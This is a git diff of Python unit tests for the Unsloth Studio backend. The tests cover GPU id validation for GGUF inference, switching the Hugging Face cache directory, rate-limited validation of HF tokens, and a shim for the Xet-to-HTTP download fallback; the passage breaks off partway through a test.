@@ -853,7 +853,13 @@ class TestRouteErrors(unittest.TestCase):
 
         self.assertIn("only supported on CUDA devices", str(exc_info.exception))
 
-    def test_inference_route_rejects_gpu_ids_for_gguf(self):
+    def test_inference_route_validates_gpu_ids_for_gguf(self):
+        # gpu_ids is now SUPPORTED for GGUF (the GPU picker), but still
+        # validated: a rejected pick surfaces as a clean 400, not the old
+        # "not supported for GGUF" rejection. Patch the validator so the test
+        # is deterministic regardless of the host's (or a prior test's) GPU env.
+        import utils.hardware.hardware as hardware_mod
+
         inference_route = _load_route_module(
             "inference_route_module_for_gguf_gpu_ids_test",
             "routes/inference.py",
@@ -887,6 +893,11 @@ class TestRouteErrors(unittest.TestCase):
             ),
             patch.object(inference_route.asyncio, "to_thread", new = _inline_to_thread),
             patch.object(inference_route, "_hf_offline_if_dns_dead", nullcontext),
+            patch.object(
+                hardware_mod,
+                "resolve_requested_gpu_ids",
+                side_effect = ValueError("Invalid gpu_ids [0, 1]: rejected by test"),
+            ),
         ):
             with self.assertRaises(HTTPException) as exc_info:
                 asyncio.run(
@@ -901,8 +912,11 @@ class TestRouteErrors(unittest.TestCase):
                     )
                 )
 
+        # The validator's ValueError becomes a clean 400 (not the removed
+        # "not supported for GGUF" rejection).
         self.assertEqual(exc_info.exception.status_code, 400)
-        self.assertIn("GGUF", exc_info.exception.detail)
+        self.assertIn("gpu_ids", exc_info.exception.detail.lower())
+        self.assertNotIn("not supported", exc_info.exception.detail.lower())
 
     def test_training_route_returns_400_for_invalid_gpu_ids(self):
         training_route = _load_route_module(
diff --git a/studio/backend/tests/test_hf_cache_settings.py b/studio/backend/tests/test_hf_cache_settings.py
new file mode 100644
index 0000000000..1875d61809
--- /dev/null
+++ b/studio/backend/tests/test_hf_cache_settings.py
@@ -0,0 +1,290 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+from __future__ import annotations
+
+import os
+import sys
+import threading
+import time
+from pathlib import Path
+
+import pytest
+
+_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
+if _BACKEND_DIR not in sys.path:
+    sys.path.insert(0, _BACKEND_DIR)
+
+from hub.services.models.common import _local_model_info
+from utils import hf_cache_settings
+from utils import native_path_leases
+
+
+@pytest.fixture()
+def settings_store(monkeypatch, tmp_path):
+    store = {}
+    monkeypatch.setattr(hf_cache_settings, "_EXPLICIT_CACHE_ENV", {})
+    monkeypatch.setenv("XDG_CACHE_HOME", str(tmp_path / "xdg"))
+    monkeypatch.setattr(
+        "storage.studio_db.get_app_setting",
+        lambda key, fallback = None: store.get(key, fallback),
+    )
+    monkeypatch.setattr(
+        "storage.studio_db.upsert_app_settings",
+        lambda values: store.update(values) or values,
+    )
+    return store
+
+
+def test_studio_cache_switch_is_live_and_keeps_history(settings_store, tmp_path):
+    first = tmp_path / "external-a" / "huggingface"
+    second = tmp_path / "external-b" / "huggingface"
+    first.parent.mkdir()
+    second.parent.mkdir()
+
+    selected = hf_cache_settings.set_hf_cache_home(str(first))
+    assert selected.hub_cache == first / "hub"
+    assert selected.xet_cache == first / "xet"
+    assert selected.child_env({}) == {
+        "HF_HUB_CACHE": str(first / "hub"),
+        "HF_XET_CACHE": str(first / "xet"),
+    }
+
+    hf_cache_settings.set_hf_cache_home(str(second))
+    assert settings_store[hf_cache_settings.CACHE_HISTORY_SETTING_KEY] == [str(first)]
+    assert first / "hub" in hf_cache_settings.known_hf_hub_caches()
+
+    reset = hf_cache_settings.set_hf_cache_home(None)
+    assert reset.source == "default"
+    assert second in hf_cache_settings.known_hf_cache_homes()
+
+
+def test_environment_cache_is_read_only(monkeypatch, tmp_path):
+    custom = tmp_path / "managed"
+    monkeypatch.setattr(
+        hf_cache_settings,
+        "_EXPLICIT_CACHE_ENV",
+        {"HF_HOME": str(custom)},
+    )
+    paths = hf_cache_settings.get_hf_cache_paths()
+    assert paths.source == "environment"
+    assert paths.editable is False
+    assert paths.hub_cache == custom / "hub"
+    with pytest.raises(RuntimeError, match = "environment variable"):
+        hf_cache_settings.set_hf_cache_home(str(tmp_path / "other"))
+
+
+def test_explicit_hub_cache_is_the_displayed_location(monkeypatch, tmp_path):
+    custom_hub = tmp_path / "models-cache"
+    custom_hub.mkdir()
+    monkeypatch.setattr(
+        hf_cache_settings,
+        "_EXPLICIT_CACHE_ENV",
+        {"HF_HUB_CACHE": str(custom_hub)},
+    )
+
+    paths = hf_cache_settings.get_hf_cache_paths()
+    status = hf_cache_settings.cache_status(paths)
+
+    assert paths.cache_home == custom_hub
+    assert paths.hub_cache == custom_hub
+    assert status["cache_home"] == str(custom_hub)
+    assert status["available"] is True
+    assert custom_hub / "hub" not in hf_cache_settings.known_hf_hub_caches()
+
+
+def test_explicit_hub_cache_display_wins_over_hf_home(monkeypatch, tmp_path):
+    hf_home = tmp_path / "hf-home"
+    custom_hub = tmp_path / "other-disk" / "models-cache"
+    hf_home.mkdir()
+    custom_hub.mkdir(parents = True)
+    monkeypatch.setattr(
+        hf_cache_settings,
+        "_EXPLICIT_CACHE_ENV",
+        {"HF_HOME": str(hf_home), "HF_HUB_CACHE": str(custom_hub)},
+    )
+
+    paths = hf_cache_settings.get_hf_cache_paths()
+
+    assert paths.cache_home == custom_hub
+    assert paths.hub_cache == custom_hub
+    assert paths.xet_cache == hf_home / "xet"
+    assert custom_hub / "hub" not in hf_cache_settings.known_hf_hub_caches()
+    assert hf_home / "hub" in hf_cache_settings.known_hf_hub_caches()
+
+
+def test_xet_only_override_keeps_model_cache_editable(settings_store, monkeypatch, tmp_path):
+    xet_cache = tmp_path / "chunks"
+    stored = tmp_path / "stored-cache"
+    settings_store[hf_cache_settings.CACHE_HOME_SETTING_KEY] = str(stored)
+    monkeypatch.setattr(
+        hf_cache_settings,
+        "_EXPLICIT_CACHE_ENV",
+        {"HF_XET_CACHE": str(xet_cache)},
+    )
+
+    paths = hf_cache_settings.get_hf_cache_paths()
+
+    assert paths.cache_home == stored
+    assert paths.hub_cache == stored / "hub"
+    assert paths.xet_cache == xet_cache
+    assert paths.editable is True
+
+    selected = tmp_path / "selected-cache"
+    selected.parent.mkdir(exist_ok = True)
+    updated = hf_cache_settings.set_hf_cache_home(str(selected))
+    assert updated.hub_cache == selected / "hub"
+    assert updated.xet_cache == xet_cache
+
+
+def test_worker_environment_is_applied_before_import(monkeypatch, tmp_path):
+    hub = str(tmp_path / "hub")
+    xet = str(tmp_path / "xet")
+    observed = {}
+
+    class Module:
+        @staticmethod
+        def run():
+            import os
+            return os.environ["HF_HUB_CACHE"], os.environ["HF_XET_CACHE"]
+
+    def fake_import(name):
+        import os
+
+        observed["name"] = name
+        observed["hub"] = os.environ.get("HF_HUB_CACHE")
+        return Module
+
+    monkeypatch.setattr(native_path_leases.importlib, "import_module", fake_import)
+    result = native_path_leases.run_without_native_path_secret(
+        "fake.worker",
+        "run",
+        {"HF_HUB_CACHE": hub, "HF_XET_CACHE": xet},
+    )
+    assert observed == {"name": "fake.worker", "hub": hub}
+    assert result == (hub, xet)
+
+
+def test_spawn_environment_is_applied_then_restored(monkeypatch, tmp_path):
+    hub = str(tmp_path / "hub")
+    xet = str(tmp_path / "xet")
+    monkeypatch.setenv("HF_HUB_CACHE", "parent-hub")
+    monkeypatch.delenv("HF_XET_CACHE", raising = False)
+
+    with hf_cache_settings.child_environment_for_spawn({"HF_HUB_CACHE": hub, "HF_XET_CACHE": xet}):
+        import os
+        assert os.environ["HF_HUB_CACHE"] == hub
+        assert os.environ["HF_XET_CACHE"] == xet
+
+    assert os.environ["HF_HUB_CACHE"] == "parent-hub"
+    assert "HF_XET_CACHE" not in os.environ
+
+
+def test_spawn_environment_supports_nested_contexts(monkeypatch):
+    monkeypatch.setenv("HF_HUB_CACHE", "parent")
+
+    with hf_cache_settings.child_environment_for_spawn({"HF_HUB_CACHE": "outer"}):
+        assert os.environ["HF_HUB_CACHE"] == "outer"
+        with hf_cache_settings.child_environment_for_spawn({"HF_HUB_CACHE": "inner"}):
+            assert os.environ["HF_HUB_CACHE"] == "inner"
+        assert os.environ["HF_HUB_CACHE"] == "outer"
+
+    assert os.environ["HF_HUB_CACHE"] == "parent"
+
+
+def test_spawn_environment_serializes_threads(monkeypatch):
+    monkeypatch.setenv("HF_HUB_CACHE", "parent")
+    first_entered = threading.Event()
+    release_first = threading.Event()
+    observations: list[tuple[str, str]] = []
+
+    def first():
+        with hf_cache_settings.child_environment_for_spawn({"HF_HUB_CACHE": "first"}):
+            observations.append(("first", os.environ["HF_HUB_CACHE"]))
+            first_entered.set()
+            assert release_first.wait(timeout = 2)
+
+    def second():
+        assert first_entered.wait(timeout = 2)
+        with hf_cache_settings.child_environment_for_spawn({"HF_HUB_CACHE": "second"}):
+            observations.append(("second", os.environ["HF_HUB_CACHE"]))
+
+    first_thread = threading.Thread(target = first)
+    second_thread = threading.Thread(target = second)
+    first_thread.start()
+    second_thread.start()
+    assert first_entered.wait(timeout = 2)
+    time.sleep(0.02)
+    assert observations == [("first", "first")]
+    release_first.set()
+    first_thread.join(timeout = 2)
+    second_thread.join(timeout = 2)
+
+    assert observations == [("first", "first"), ("second", "second")]
+    assert os.environ["HF_HUB_CACHE"] == "parent"
+
+
+def test_cache_switch_invalidates_inventory(settings_store, tmp_path, monkeypatch):
+    invalidations = []
+    monkeypatch.setattr(
+        "hub.utils.inventory_scan.invalidate_hf_cache_scans",
+        lambda: invalidations.append(True),
+    )
+    selected = tmp_path / "external" / "huggingface"
+    selected.parent.mkdir()
+
+    hf_cache_settings.set_hf_cache_home(str(selected))
+
+    assert invalidations == [True]
+
+
+def test_cache_validation_write_tests_hub_and_xet(settings_store, tmp_path, monkeypatch):
+    selected = tmp_path / "external" / "huggingface"
+    selected.parent.mkdir()
+    tested = []
+    real_named_temporary_file = hf_cache_settings.tempfile.NamedTemporaryFile
+
+    def recording_write_test(*args, **kwargs):
+        tested.append(Path(kwargs["dir"]))
+        return real_named_temporary_file(*args, **kwargs)
+
+    monkeypatch.setattr(
+        hf_cache_settings.tempfile,
+        "NamedTemporaryFile",
+        recording_write_test,
+    )
+
+    hf_cache_settings.set_hf_cache_home(str(selected))
+
+    assert tested == [selected / "hub", selected / "xet"]
+
+
+def test_cache_validation_rejects_unwritable_child(settings_store, tmp_path, monkeypatch):
+    selected = tmp_path / "external" / "huggingface"
+    selected.parent.mkdir()
+
+    def reject_hub(*args, **kwargs):
+        if Path(kwargs["dir"]).name == "hub":
+            raise PermissionError("read-only")
+        raise AssertionError("xet should not be tested after hub fails")
+
+    monkeypatch.setattr(hf_cache_settings.tempfile, "NamedTemporaryFile", reject_hub)
+
+    with pytest.raises(ValueError, match = "permission"):
+        hf_cache_settings.set_hf_cache_home(str(selected))
+
+
+def test_inactive_cache_model_loads_from_snapshot_path(tmp_path):
+    snapshot = tmp_path / "snapshots" / "revision"
+    snapshot.mkdir(parents = True)
+    row = _local_model_info(
+        scan_path = snapshot,
+        load_path = snapshot,
+        source = "hf_cache",
+        model_format = "safetensors",
+        model_id = "org/model",
+        active_cache = False,
+    )
+    assert row.model_id == "org/model"
+    assert row.active_cache is False
+    assert row.load_id == str(snapshot)
diff --git a/studio/backend/tests/test_hf_token_validation.py b/studio/backend/tests/test_hf_token_validation.py
new file mode 100644
index 0000000000..31b30fc37d
--- /dev/null
+++ b/studio/backend/tests/test_hf_token_validation.py
@@ -0,0 +1,165 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Focused coverage for cached, rate-limited HF token validation."""
+
+from __future__ import annotations
+
+from pathlib import Path
+import sys
+
+import httpx
+import pytest
+
+
+_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
+if _BACKEND_DIR not in sys.path:
+    sys.path.insert(0, _BACKEND_DIR)
+
+import utils.hf_token_validation as validation
+
+
+@pytest.fixture(autouse = True)
+def _reset_validation_state():
+    validation.reset_hf_token_validation_state()
+    yield
+    validation.reset_hf_token_validation_state()
+
+
+def test_cached_token_does_not_spend_another_attempt(monkeypatch):
+    calls = []
+
+    def _check(token):
+        calls.append(token)
+        return validation.TokenValidationResult(status = "valid")
+
+    monkeypatch.setattr(validation, "_check_remote", _check)
+    first = validation.validate_hf_token("hf_valid", rate_key = "user:ip")
+    second = validation.validate_hf_token("hf_valid", rate_key = "user:ip")
+
+    assert first.status == second.status == "valid"
+    assert calls == ["hf_valid"]
+
+
+def test_three_uncached_attempts_per_hour(monkeypatch):
+    monkeypatch.setattr(
+        validation,
+        "_check_remote",
+        lambda _token: validation.TokenValidationResult(status = "invalid"),
+    )
+
+    for index in range(3):
+        result = validation.validate_hf_token(f"hf_bad_{index}", rate_key = "user:ip")
+        assert result.status == "invalid"
+
+    limited = validation.validate_hf_token("hf_bad_4", rate_key = "user:ip")
+    assert limited.status == "rate_limited"
+    assert limited.retry_after_seconds is not None
+    assert limited.retry_after_seconds > 0
+
+    other_user = validation.validate_hf_token("hf_other", rate_key = "other:ip")
+    assert other_user.status == "invalid"
+
+
+def test_window_rolls_forward(monkeypatch):
+    clock = {"now": 100.0}
+    monkeypatch.setattr(validation.time, "monotonic", lambda: clock["now"])
+    monkeypatch.setattr(validation, "_MAX_ATTEMPTS", 1)
+    monkeypatch.setattr(validation, "_WINDOW_SECONDS", 10.0)
+    monkeypatch.setattr(
+        validation,
+        "_check_remote",
+        lambda _token: validation.TokenValidationResult(status = "invalid"),
+    )
+
+    assert validation.validate_hf_token("hf_a", rate_key = "user:ip").status == "invalid"
+    assert validation.validate_hf_token("hf_b", rate_key = "user:ip").status == "rate_limited"
+    clock["now"] += 11.0
+    assert validation.validate_hf_token("hf_b", rate_key = "user:ip").status == "invalid"
+
+
+@pytest.mark.parametrize(
+    ("status_code", "expected"),
+    [(200, "valid"), (401, "invalid"), (429, "rate_limited"), (500, "unavailable")],
+)
+def test_remote_status_classification(monkeypatch, status_code, expected):
+    response = httpx.Response(
+        status_code,
+        request = httpx.Request("GET", "https://huggingface.co/api/whoami-v2"),
+        headers = {"Retry-After": "42"} if status_code == 429 else None,
+    )
+
+    class _Session:
+        def get(self, url, *, headers, timeout):
+            assert url == "https://huggingface.co/api/whoami-v2"
+            assert headers["authorization"] == "Bearer hf_test"
+            assert timeout == validation._REMOTE_TIMEOUT_SECONDS
+            return response
+
+    monkeypatch.setattr(validation, "get_session", lambda: _Session())
+    result = validation._check_remote("hf_test")
+    assert result.status == expected
+    if status_code == 429:
+        assert result.retry_after_seconds == 42
+
+
+def test_wrapped_http_401_is_invalid(monkeypatch):
+    response = httpx.Response(
+        401,
+        request = httpx.Request("GET", "https://huggingface.co/api/whoami-v2"),
+    )
+
+    class _Session:
+        def get(self, _url, **_kwargs):
+            error = RuntimeError("Invalid user token.")
+            error.response = response
+            raise error
+
+    monkeypatch.setattr(validation, "get_session", lambda: _Session())
+    assert validation._check_remote("hf_test").status == "invalid"
+
+
+def test_remote_timeout_is_bounded_and_unavailable(monkeypatch):
+    class _Session:
+        def get(self, _url, *, headers, timeout):
+            assert headers["authorization"] == "Bearer hf_test"
+            assert timeout == validation._REMOTE_TIMEOUT_SECONDS
+            raise TimeoutError("timed out")
+
+    monkeypatch.setattr(validation, "get_session", lambda: _Session())
+    assert validation._check_remote("hf_test").status == "unavailable"
+
+
+def test_raw_token_is_not_retained(monkeypatch):
+    monkeypatch.setattr(
+        validation,
+        "_check_remote",
+        lambda _token: validation.TokenValidationResult(status = "valid"),
+    )
+    token = "hf_do_not_store_this_value"
+    validation.validate_hf_token(token, rate_key = "user:ip")
+
+    assert token not in repr(validation._cache)
+    assert token not in repr(validation._attempts)
+
+
+def test_unexpected_remote_exception_releases_singleflight(monkeypatch):
+    calls = 0
+    monkeypatch.setattr(validation, "_INFLIGHT_WAIT_SECONDS", 0.0)
+
+    def _check(_token):
+        nonlocal calls
+        calls += 1
+        if calls == 1:
+            raise RuntimeError("unexpected failure")
+        return validation.TokenValidationResult(status = "valid")
+
+    monkeypatch.setattr(validation, "_check_remote", _check)
+
+    with pytest.raises(RuntimeError, match = "unexpected failure"):
+        validation.validate_hf_token("hf_test", rate_key = "user:ip")
+
+    result = validation.validate_hf_token("hf_test", rate_key = "user:ip")
+    assert result.status == "valid"
+    assert calls == 2
+    assert validation._inflight == {}
diff --git a/studio/backend/tests/test_hf_xet_fallback.py b/studio/backend/tests/test_hf_xet_fallback.py
index 9e40fbf508..a037ea2579 100644
--- a/studio/backend/tests/test_hf_xet_fallback.py
+++ b/studio/backend/tests/test_hf_xet_fallback.py
@@ -1,18 +1,16 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-"""Unit tests for utils.hf_xet_fallback: the no-progress watchdog, the Xet->HTTP
-transport policy, and the HF_HUB_DISABLE_XET precondition the fallback rests on.
-CPU-only, no network, no real subprocess (the per-attempt download seam is
-monkeypatched).
+"""Tests for the Unsloth shim over the shared unsloth_zoo Xet -> HTTP fallback.
+
+The transport-policy matrix is tested once in unsloth_zoo; here we assert only the
+Unsloth seam: re-exporting the shared API and injecting the marker-aware
+prepare_cache_for_transport on the HTTP retry. CPU-only, no network, no real subprocess.
 """
 
 from __future__ import annotations
 
-import subprocess
 import sys
-import threading
-import time
 import types as _types
 from pathlib import Path
 
@@ -22,9 +20,8 @@ _BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
 if _BACKEND_DIR not in sys.path:
     sys.path.insert(0, _BACKEND_DIR)
 
-# Stub heavy/unavailable deps before importing the module under test. Use the
-# real structlog when present; a bare stub left in sys.modules would break later
-# modules that log at import time.
+# Stub heavy/unavailable deps before importing the module under test. Use real structlog when present;
+# a bare stub would break later modules that log at import time.
 _loggers_stub = _types.ModuleType("loggers")
 _loggers_stub.get_logger = lambda name: __import__("logging").getLogger(name)
 sys.modules.setdefault("loggers", _loggers_stub)
@@ -34,171 +31,59 @@ except ImportError:
     sys.modules["structlog"] = _types.ModuleType("structlog")
 
 import huggingface_hub
-from huggingface_hub import constants as hf_constants
+
+try:
+    import unsloth_zoo.hf_xet_fallback as _shared_mod
+    shared = _shared_mod
+except Exception:  # noqa: BLE001 - still collect degraded-path tests when unsloth_zoo is unavailable
+    shared = None
 
 import utils.hf_xet_fallback as xf
 
 
-# --------------------------------------------------------------------------- #
-# Watchdog: fires only on a constant-size .incomplete, sparse-aware byte total.
-# --------------------------------------------------------------------------- #
-REPO = "ztest/xet-watchdog"
-
-
-@pytest.fixture
-def hf_cache(tmp_path, monkeypatch):
-    monkeypatch.setattr(hf_constants, "HF_HUB_CACHE", str(tmp_path))
-    return tmp_path
-
-
-def _blobs_dir(root: Path, repo_id: str = REPO) -> Path:
-    d = root / f"models--{repo_id.replace('/', '--')}" / "blobs"
-    d.mkdir(parents = True, exist_ok = True)
-    return d
-
-
-def _wait(
-    predicate,
-    timeout: float = 2.0,
-    step: float = 0.02,
-) -> bool:
-    deadline = time.monotonic() + timeout
-    while time.monotonic() < deadline:
-        if predicate():
-            return True
-        time.sleep(step)
-    return predicate()
-
-
-def test_constant_incomplete_fires_stall(hf_cache):
-    blobs = _blobs_dir(hf_cache)
-    (blobs / "deadbeef.incomplete").write_bytes(b"\0" * 1024)  # never grows
-
-    calls: list[str] = []
-    stop = xf.start_watchdog(
-        repo_ids = [REPO], on_stall = calls.append, interval = 0.05, stall_timeout = 0.3
-    )
-    try:
-        assert _wait(
-            lambda: len(calls) >= 1, timeout = 3.0
-        ), "watchdog never fired on a constant-size .incomplete"
-    finally:
-        stop.set()
-    assert "stalled" in calls[0].lower()
-
-
-def test_growing_incomplete_never_stalls(hf_cache):
-    blobs = _blobs_dir(hf_cache)
-    part = blobs / "growing.incomplete"
-    part.write_bytes(b"\0" * 1024)
-
-    grow_stop = threading.Event()
-
-    def _grow():
-        size = 1024
-        while not grow_stop.wait(0.05):
-            size += 4096
-            part.write_bytes(b"\0" * size)
-
-    grower = threading.Thread(target = _grow, daemon = True)
-    grower.start()
-
-    calls: list[str] = []
-    stop = xf.start_watchdog(
-        repo_ids = [REPO], on_stall = calls.append, interval = 0.05, stall_timeout = 0.3
-    )
-    try:
-        time.sleep(1.0)  # well past stall_timeout, but bytes keep growing
-        assert calls == [], "watchdog fired despite continuous progress"
-    finally:
-        stop.set()
-        grow_stop.set()
-
-
-def test_no_incomplete_never_stalls(hf_cache):
-    blobs = _blobs_dir(hf_cache)
-    (blobs / "finalized_blob").write_bytes(b"\0" * 4096)  # no .incomplete
-
-    calls: list[str] = []
-    stop = xf.start_watchdog(
-        repo_ids = [REPO], on_stall = calls.append, interval = 0.05, stall_timeout = 0.3
-    )
-    try:
-        time.sleep(0.8)
-        assert calls == [], "watchdog fired with no active .incomplete"
-    finally:
-        stop.set()
-
-
-def test_stall_fires_at_most_once(hf_cache):
-    blobs = _blobs_dir(hf_cache)
-    (blobs / "frozen.incomplete").write_bytes(b"\0" * 2048)
-
-    calls: list[str] = []
-    stop = xf.start_watchdog(
-        repo_ids = [REPO], on_stall = calls.append, interval = 0.05, stall_timeout = 0.2
-    )
-    try:
-        assert _wait(lambda: len(calls) >= 1, timeout = 3.0)
-        time.sleep(0.6)  # keep ticking; must not fire again
-        assert len(calls) == 1, f"on_stall fired {len(calls)} times, expected exactly 1"
-    finally:
-        stop.set()
-
-
-def test_get_state_empty_cache(hf_cache):
-    assert xf.get_hf_download_state([REPO]) == (0, False)
-
-
-def test_get_state_absent_cache_root(tmp_path, monkeypatch):
-    monkeypatch.setattr(hf_constants, "HF_HUB_CACHE", str(tmp_path / "no-such-cache"))
-    assert xf.get_hf_download_state([REPO]) == (0, False)
-
-
-def test_get_state_skips_local_paths(hf_cache):
-    # Filesystem paths are not HF repo IDs and must be ignored without error.
-    assert xf.get_hf_download_state(["/abs/path", "./rel", "~user", "c:\\x"]) == (0, False)
-
-
-def test_get_state_sparse_aware(hf_cache):
-    blobs = _blobs_dir(hf_cache)
-    sparse = blobs / "sparse.incomplete"
-    with open(sparse, "wb") as f:
-        f.truncate(64 * 1024 * 1024)  # large apparent size, few allocated blocks
-    st = sparse.stat()
-    if getattr(st, "st_blocks", 0) == 0:
-        pytest.skip("filesystem does not report st_blocks; sparse accounting unavailable")
-    total, has_incomplete = xf.get_hf_download_state([REPO])
-    assert has_incomplete is True
-    assert total < st.st_size, "sparse partial counted at apparent size, not allocated blocks"
-
-
-# --------------------------------------------------------------------------- #
-# Transport policy: cached short-circuit, cancel, error propagation, and the
-# single Xet->HTTP fallback. _run_download_attempt is faked, so no real spawn.
-# --------------------------------------------------------------------------- #
 DL_REPO, FILE = "ztest/xet-dl", "model-Q4_K_XL.gguf"
 
 
-@pytest.fixture(autouse = True)
-def _no_real_cache_hit(monkeypatch):
-    """Default: the cached probe misses; tests override it to force a hit."""
+def _requires_shared():
+    if shared is None:
+        pytest.skip("unsloth_zoo.hf_xet_fallback is not installed in this environment")
+
+
+def test_shim_reexports_shared_api():
+    _requires_shared()
+    assert xf.DownloadStallError is shared.DownloadStallError
+    for name in (
+        "start_watchdog",
+        "get_hf_download_state",
+        "child_should_disable_xet",
+        "hf_hub_download_with_xet_fallback",
+        "snapshot_download_with_xet_fallback",
+    ):
+        assert hasattr(xf, name), f"shim missing {name}"
+
+
+def test_child_should_disable_xet_truth_table():
+    assert xf.child_should_disable_xet({"disable_xet": True}) is True
+    assert xf.child_should_disable_xet({"disable_xet": False}) is False
+    assert xf.child_should_disable_xet({}) is False
+
+
+def test_shim_injects_studio_prepare_on_http_retry(monkeypatch):
+    """A Xet stall retries over HTTP and the shim runs Unsloth's marker-aware
+    ``prepare_cache_for_transport(..., 'http')`` before the retry."""
+    _requires_shared()
+    for var in ("UNSLOTH_DISABLE_XET", "UNSLOTH_STABLE_DOWNLOADS", "HF_HUB_DISABLE_XET"):
+        monkeypatch.delenv(var, raising = False)
     monkeypatch.setattr(huggingface_hub, "try_to_load_from_cache", lambda *a, **k: None)
 
+    seen_disable_xet = []
 
-class _FakeAttempt:
-    """Records calls to the download seam and returns scripted results."""
-
-    def __init__(self, results):
-        self._results = list(results)
-        self.calls = []
-
-    def __call__(
-        self,
+    def fake_attempt(
         repo_id,
-        filename,
-        token,
         *,
+        kind,
+        params,
+        token,
         repo_type,
         disable_xet,
         cancel_event,
@@ -208,146 +93,299 @@ class _FakeAttempt:
         on_status,
         force_download = False,
     ):
-        self.calls.append(
-            _types.SimpleNamespace(
-                repo_id = repo_id,
-                filename = filename,
-                disable_xet = disable_xet,
-                repo_type = repo_type,
-            )
+        seen_disable_xet.append(disable_xet)
+        return ("ok", "/cache/model.gguf") if disable_xet else ("stall", None)
+
+    monkeypatch.setattr(shared, "_run_download_attempt", fake_attempt)
+
+    prepared = []
+    monkeypatch.setattr(
+        "hub.utils.download_registry.prepare_cache_for_transport",
+        lambda repo_type, repo_id, mode, *a, **k: prepared.append(
+            (repo_type, repo_id, mode, k.get("root"))
+        ),
+    )
+
+    selected_cache = "/captured/hub"
+    out = xf.hf_hub_download_with_xet_fallback(
+        DL_REPO,
+        FILE,
+        None,
+        cache_dir = selected_cache,
+    )
+    assert out == "/cache/model.gguf"
+    assert seen_disable_xet == [False, True]  # Xet first, then HTTP
+    assert prepared == [
+        ("model", DL_REPO, "http", Path(selected_cache))
+    ], "shim must prepare the cache captured by the download"
+
+
+def test_shim_snapshot_injects_studio_prepare(monkeypatch):
+    """The snapshot wrapper forwards Unsloth's marker-aware prep, like the file wrapper."""
+    captured = {}
+
+    def fake_snapshot(repo_id, **kwargs):
+        captured["repo_id"] = repo_id
+        captured["prepare_for_http_fn"] = kwargs.get("prepare_for_http_fn")
+        return "/tmp/snap-dir"
+
+    monkeypatch.setattr(xf, "_shared_snapshot_download_with_xet_fallback", fake_snapshot)
+    selected_cache = "/captured/hub"
+    out = xf.snapshot_download_with_xet_fallback(
+        "org/model",
+        cache_dir = selected_cache,
+    )
+    assert out == "/tmp/snap-dir"
+    assert captured["repo_id"] == "org/model"
+    prepared = []
+    monkeypatch.setattr(
+        "hub.utils.download_registry.prepare_cache_for_transport",
+        lambda repo_type, repo_id, mode, *a, **k: prepared.append(
+            (repo_type, repo_id, mode, k.get("root"))
+        ),
+    )
+    captured["prepare_for_http_fn"]("model", "org/model")
+    assert prepared == [("model", "org/model", "http", Path(selected_cache))]
+
+
+def test_degrades_gracefully_without_shared_helper(monkeypatch):
+    """On an older unsloth_zoo lacking the shared helper, the shim still imports (Unsloth
+    boots) and exposes stub API doing plain HF downloads with the watchdog disabled."""
+    import importlib
+
+    class _BlockShared:
+        def find_spec(
+            self,
+            name,
+            path = None,
+            target = None,
+        ):
+            if name == "unsloth_zoo.hf_xet_fallback":
+                raise ModuleNotFoundError(f"No module named '{name}'", name = name)
+            return None
+
+    finder = _BlockShared()
+    saved_shared = sys.modules.pop("unsloth_zoo.hf_xet_fallback", None)
+    saved_shim = sys.modules.pop("utils.hf_xet_fallback", None)
+    sys.meta_path.insert(0, finder)
+    try:
+        degraded = importlib.import_module("utils.hf_xet_fallback")
+
+        # Boots without raising and mirrors the shared API surface.
+        assert issubclass(degraded.DownloadStallError, RuntimeError)
+        assert degraded.child_should_disable_xet({"disable_xet": True}) is True
+        assert degraded.get_hf_download_state(["x"]) is None  # unmeasurable
+        event = degraded.start_watchdog(repo_ids = ["x"], on_stall = lambda m: None)
+        assert hasattr(event, "set") and not event.is_set()  # never fires
+
+        # Degraded mode still emits heartbeats so the inactivity deadline is not tripped.
+        import time as _time
+
+        beats = []
+        hb_stop = degraded.start_watchdog(
+            repo_ids = ["x"],
+            on_stall = lambda m: None,
+            on_heartbeat = beats.append,
+            interval = 0.02,
         )
-        return self._results[len(self.calls) - 1]
+        try:
+            deadline = _time.monotonic() + 2.0
+            while not beats and _time.monotonic() < deadline:
+                _time.sleep(0.02)
+            assert beats, "degraded watchdog emitted no heartbeat"
+        finally:
+            hb_stop.set()
+
+        # Downloads fall back to plain huggingface_hub (no watchdog, no crash).
+        called = {}
+
+        def _fake_snapshot(repo_id, **kwargs):
+            called["repo_id"] = repo_id
+            return "/snap-dir"
+
+        monkeypatch.setattr(huggingface_hub, "snapshot_download", _fake_snapshot)
+        assert degraded.snapshot_download_with_xet_fallback("org/model") == "/snap-dir"
+        assert called["repo_id"] == "org/model"
+
+        # Cancellation still holds: an already-set cancel_event aborts before the HF download.
+        import threading as _threading
+
+        cancelled = _threading.Event()
+        cancelled.set()
+        called.clear()
+        with pytest.raises(RuntimeError, match = "Cancelled"):
+            degraded.snapshot_download_with_xet_fallback("org/model", cancel_event = cancelled)
+        assert "repo_id" not in called, "degraded download ran despite cancellation"
+    finally:
+        sys.meta_path.remove(finder)
+        sys.modules.pop("utils.hf_xet_fallback", None)
+        if saved_shared is not None:
+            sys.modules["unsloth_zoo.hf_xet_fallback"] = saved_shared
+        if saved_shim is not None:
+            sys.modules["utils.hf_xet_fallback"] = saved_shim
 
 
-def _install(monkeypatch, results):
-    fake = _FakeAttempt(results)
-    monkeypatch.setattr(xf, "_run_download_attempt", fake)
-    return fake
+def test_degrades_when_unsloth_zoo_entirely_absent():
+    """When unsloth_zoo is absent entirely, the import raises
+    ModuleNotFoundError(name='unsloth_zoo') (top-level package). Guard that the shim still
+    degrades and does not re-raise, breaking every Unsloth import that pulls it in."""
+    import importlib
+
+    class _BlockZoo:
+        def find_spec(
+            self,
+            name,
+            path = None,
+            target = None,
+        ):
+            # Whole package absent, so ModuleNotFoundError.name is the top-level 'unsloth_zoo'.
+            if name == "unsloth_zoo" or name.startswith("unsloth_zoo."):
+                raise ModuleNotFoundError("No module named 'unsloth_zoo'", name = "unsloth_zoo")
+            return None
